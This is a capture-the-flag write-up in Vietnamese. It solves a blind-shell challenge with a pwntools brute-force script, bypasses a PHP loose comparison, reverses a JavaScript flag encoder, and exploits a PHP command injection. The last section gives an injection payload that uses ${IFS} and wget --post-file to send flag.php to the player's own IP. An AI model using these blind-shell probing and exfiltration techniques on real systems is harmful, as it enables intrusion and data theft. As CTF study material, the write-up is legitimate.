kks-xmaxctf

**kks:

ở giải này mình không solve được bài web nào , nên mình chuyển sang bài này

blind shell

đọc đề ta sẽ đoán được đây là 1 dạng shell không có output, người chơi hệ web như mình cũng khá quen với các dạng bài blind nên solve bài này cũng không khó đối với mình. bài này sẽ cần 1 chút kiến thức về linux

đầu tiên ta sẽ thử nghiệm mình có gì

mọi cmd của mình để được trả ra bởi 2 từ là success hoặc failed, mình không thể sử dụng reverse shell vì mọi thứ có thể dùng để làm reverse shell đề bị vô hiệu hóa. tiếp theo mình tắt nc và tiếp tục debug ở máy ubuntu của mình

ở lần thử trước ta đã biết nếu lệnh thực thi thành công nó sẽ trả về success và ngược lại

vậy ta sẽ sử dụng grep để blind dựa vào regex để brute contents

ban đầu mình brute bằng tay do không biết pwntools, vì mình chơi hệ web, sau đó được a lớn nhắc nhở bắt mình code để brute,

mình code đơn giản như sau để brute số lượng chữ có trong file

from pwn import *
conn = remote('tasks.kksctf.ru','30010')
flag=""
for i in range(50):
    #print(i)
    cmd="cat flag.txt|wc -c|grep ^"+str(i)
    conn.send(cmd.encode())
    r=conn.recvline()
    if "Success" in r.decode():
        print(i)
       # break

kết quả

vậy trong file flag.txt có 23 ký tự, mình bắt đầu brute content bên trong

from pwn import *
import string
conn = remote('tasks.kksctf.ru','30010')
flag=""
cc=""
a="1234567890=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~⌂"
a+="."
for i in range(50):
    print(i)
    for j in a:
        #print(j)
        cmd="cat flag.txt|grep ^"+cc+(j)
        conn.send(cmd.encode())
        r=conn.recvline()
        if "Success" in r.decode():
            cc+= (j)
            print(cc)
            break

theo như mình brute được thì đây chắc là file fake flag, tiếp theo mình quay trở lại máy ubuntu debug lại tiếp

mình dùng cách này để kiểm tra xem có bao nhiêu thư mục và file ở trong thư mục hiện tại, sửa payload cmd ở file đầu tiên thành

ls|wc -l|grep ^blabla

quay loại brute nội dung của lệnh ls thôi, nhưng mà mình có 1 vấn đề là vì output lệnh ls có chưa newline nên mình khó lòng cho nó vào regex được, nên mình quyết định brute từng line

payload của mình sẽ tương tự như thế này

brute dòng tiếp theo thì ta sẽ sử dụng thêm lệnh tail

oke vậy đã rõ, ta tiếp tục chơi blind thôi

sau một lúc brute thì ta có cấu trúc cây thư mực như sau

flag.txt,maybehere và server.py

flag.txt mình đã brute trước đó, mình cũng không rảnh brute file source làm gì, nên mình đoán ngay maybehere là 1 thư mục và bên trong chứa file flag.txt

thôi khỏi đoán mình cầm vào server test luôn

tiếp theo ta brute content trong file và lấy flag thôi

flag: kks{Bl1nD_sH311_s2cKs_b4t_Y0U_ar3_amaz19g}

**x-mas:

PHP-Master

vào bài ta có source code, bài này khá dễ nhưng cũng ngốn của mình khá nhiều thời gian, vì mình bị cuốn vào bypass các điều kiện

<?php

include('flag.php');

$p1 = $_GET['param1'];
$p2 = $_GET['param2'];

if(!isset($p1) || !isset($p2)) {
    highlight_file(__FILE__);
    die();
}

if(strpos($p1, 'e') === false && strpos($p2, 'e') === false  && strlen($p1) === strlen($p2) && $p1 !== $p2 && $p1[0] != '0' && $p1 == $p2) {
    die($flag);
}

?>

từ đề ta thấy, chỉ cần vượt qua điều kiện, p1 và p2 ko chưa e và ko bắt đầu là số 0, đồng thời p1 phải khác p2 và p1 cũng giống p2 lol

ta để ý thấy ý của đề là chống mình sử dụng magic hash để bypass ==, vậy ta sử dụng fload để bypass bài này

vậy 1.99999999999999==2, vật ta chỉ cần chỉnh lại cho len p1 bằng p2 là ta có flag

Santa's consolation

console.log("%c██████╗░██╗░░░░░██╗░░░██╗██╗░░░██╗██╗░░██╗\n\██╔══██╗██║░░░░░██║░░░██║██║░░░██║██║░██╔╝\n██████╦╝██║░░░░░██║░░░██║██║░░░██║█████═╝░\n██╔══██╗██║░░░░░██║░░░██║██║░░░██║██╔═██╗░\n██████╦╝███████╗╚██████╔╝╚██████╔╝██║░╚██╗\n╚═════╝░╚══════╝░╚═════╝░░╚═════╝░╚═╝░░╚═╝\n", "color: #5cdb95");
console.log("🐢 Javascript Challenge 🐢");
console.log("Call win(<string>) with the correct parameter to get the flag");
console.log("And don't forget to subscribe to our newsletter :D");
function check(s) {
    const k = "MkVUTThoak44TlROOGR6TThaak44TlROOGR6TThWRE14d0hPMnczTTF3M056d25OMnczTTF3M056d1hPNXdITzJ3M00xdzNOenduTjJ3M00xdzNOendYTndFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYwRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOEZETXh3SE8ydzNNMXczTnp3bk4ydzNNMXczTnp3bk13RURmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmeUlUTThoak44TlROOGR6TThaak44TlROOGR6TThCVE14d0hPMnczTTF3M056d25OMnczTTF3M056dzNOeEVEZjRZRGZ6VURmM01EZjJZRGZ6VURmM01EZjFBVE04aGpOOE5UTjhkek04WmpOOE5UTjhkek04bFRPOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOGRUTzhoak44TlROOGR6TThaak44TlROOGR6TThSVE14d0hPMnczTTF3M056d25OMnczTTF3M056d1hPNXdITzJ3M00xdzNOenduTjJ3M00xdzNOenduTXlFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYzRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOGhETjhoak44TlROOGR6TThaak44TlROOGR6TThGak14d0hPMnczTTF3M056d25OMnczTTF3M056d25NeUVEZjRZRGZ6VURmM01EZjJZRGZ6VURmM01EZjFFVE04aGpOOE5UTjhkek04WmpOOE5UTjhkek04RkRNeHdITzJ3M00xdzNOenduTjJ3M00xdzNOendITndFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYxRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOFZETXh3SE8ydzNNMXczTnp3bk4ydzNNMXczTnp3WE94RURmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmeUlUTThoak44TlROOGR6TThaak44TlROOGR6TThkVE84aGpOOE5UTjhkek04WmpOOE5UTjhkek04WlRNeHdITzJ3M00xdzNOenduTjJ3M00xdzNOendITXhFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYza0RmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmMUVUTTAwMDBERVRDQURFUg==";
    const k1 = atob(k).split('').reverse().join('');
    return bobify(s) === k1;
}
function bobify(s) {
    if (~s.indexOf('a') || ~s.indexOf('t') || ~s.indexOf('e') || ~s.indexOf('i') || ~s.indexOf('z'))
        return "[REDACTED]";
    const s1 = s.replace(/4/g, 'a').replace(/3/g, 'e').replace(/1/g, 'i').replace(/7/g, 't').replace(/_/g, 'z').split('').join('[]');
    const s2 = encodeURI(s1).split('').map(c=>c.charCodeAt(0)).join('|');
    const s3 = btoa("D@\xc0\t1\x03\xd3M4" + s2);
    return s3;
}
function win(x) {
    return check(x) ? "X-MAS{" + x + "}" : "[REDACTED]";
}

về cơ bản chương trình nhận input người dùng rồi sau đó đi qua hàm bobify và so sánh với k1 nếu đúng thì trả ra flag, tức nhiệm vụ của mình sẽ đi tìm string đúng cũng đồng thời là flag

ta có chuỗi mã hóa cuối cùng là k1, ra sẽ đi từ cuối trở lại để tìm lại flag

ta có chuỗi số được ngăn cách bởi | vậy ta sẽ remove nó và chuyển nó thành ascii sau đó ta sẽ có chuỗi urlencode

decode url ta được chuỗi sau

s[]a[]n[]t[]a[]z[]w[]i[]s[]h[]e[]s[]z[]y[]0[]u[]z[]c[]r[]a[]c[]i[]u[]n[]z[]f[]e[]r[]i[]c[]i[]t

ta tiếp tục split [] => santazwisheszy0uzcraciunzfericit

chuỗi flag ban đầu sẽ được replace bởi đoạn sau const s1=s.replace(/4/g,'a').replace(/3/g,'e').replace(/1/g,'i').replace(/7/g,'t').replace(/_/g,'z').

vậy ta sẽ replace ngược lại ta sẽ ra flag: s4n74_w1sh3s_y0u_cr4c1un_f3r1c17

flag_checker

tiếp tục là 1 bài php, ta có source như sau:

<?php
/* flag_checker */
include('flag.php');

if(!isset($_GET['flag'])) {
    highlight_file(__FILE__);
    die();
}

function checkFlag($flag) {
    $example_flag = strtolower('FAKE-X-MAS{d1s_i\$_a_SaMpL3_Fl4g_n0t_Th3_c0Rr3c7_one_karen_l1k3s_HuMu5.0123456789}');
    $valid = true;
    for($i = 0; $i < strlen($flag) && $valid; $i++)
        if(strpos($example_flag, strtolower($flag[$i])) === false) $valid = false;
    return $valid;
}


function getFlag($flag) {
    $command = "wget -q -O - https://kuhi.to/flag/" . $flag;
    $cmd_output = array();
    exec($command, $cmd_output);
    if(count($cmd_output) == 0) {
        echo 'Nope';
    } else {
        echo 'Maybe';
    }
}

$flag  = $_GET['flag'];
if(!checkFlag($flag)) {
    die('That is not a correct flag!');
}

getFlag($flag);
?>

input của mình sẽ được đưa vào hàm checkflag, nếu input của mình có chưa các ký tự không ở trong fake flag thì sẽ ko thể thực hiện bước tiếp theo là hàm getflag

ở hàm get flag ta sẽ wget tới 1 url+input của mình, nhiệm vụ đã rõ, bài này là command injection

nhìn lại các ký tự được phép, ta có ${}- => ta có thể sử dụng ${IFS} để bypass space, input của mình truyền vào server như sau

flag=${IFS}ur_ip

tiếp theo ta cần đọc file flag.php

sau 1 lúc gg thì mình tìm ra option wget with file

flag=${IFS}--post-file${IFS}flag.php${IFS}urip

lưu ý mình lắng nghe ở cổng 80 vì trong các ký tự được phép thì không có ":"

Last updated